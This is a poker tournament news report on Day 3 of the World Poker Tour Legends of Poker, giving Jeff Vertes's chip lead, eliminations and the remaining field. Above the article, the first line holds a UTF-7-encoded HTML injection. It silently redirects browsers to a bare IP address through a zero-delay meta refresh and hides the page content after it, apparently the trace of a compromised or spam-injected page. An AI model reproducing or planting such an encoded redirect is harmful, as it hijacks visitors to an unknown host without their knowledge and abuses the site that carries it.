+ADw-/title+AD4APA-META http-equiv+AD0AIg-refresh+ACI content+AD0AIg-0+ADs-URL+AD0-http://178.153.22.250/+ACIAPgA8-DIV style+AD0AIg-DISPLAY: none+ACIAPgA8-xmp+AD4-

The third official day of action at the World Poker Tour Legends of Poker tournament is now in the books, and poker pro Jeff Vertes has established a decisive lead over the competition. With just over 2.7 million chips, Vertes represents a major challenge for 2nd and 3rd place contenders James Carroll and David Daneshgar, who have amassed 1.9 million and 1.85 million chips, respectively.

Ken Aldridge put on a relatively impressive performance as well, maintaining his 1.5 million chip stacks throughout the day to move from 1st place into a respectable 6th for Day 4.

99 players took to the felt on Day 3, with money from the prize pool set aside for the top 81 finishers. The worst bad beat of the day belonged to Joe Ressler, who was eliminated immediately before the money bubble was broken despite holding A-K suited. Ressler was preceded in elimination by a number of respected pros including Jeff Madsen, Jon Friedberg, Tom Braband, Hafiz Khan and Jason DeWitt.

Plenty of notable talent was knocked out within the money bubble, including Allen Kessler in 28th, J.C. Tran in 39th, Jamie Gold in 67th, Dan O’Brien in 69th and Greg Mueller in 78th.

Also eliminated was former World Poker Tour champion Dwyte Pilgrim, who pushed all-in with A-J offsuit only to be dominated by James Carroll’s Broadway straight.

Aside from Vertes, most of the payers in the top 10 have chip stacks comparable to Carroll and Daneshgar. Places 4 through 10 are comprised of Joshua Pollock, Mike Eskandari, Ken Aldridge, Will Failla, Shawn Buchanan, Owais Ahmed and Adam Aronson, with the smallest chip stack just under 1.1 million.

The remaining competitor pool of 21 will play down to a final table on Day 4. A grand prize of $758k is reserved for the winner.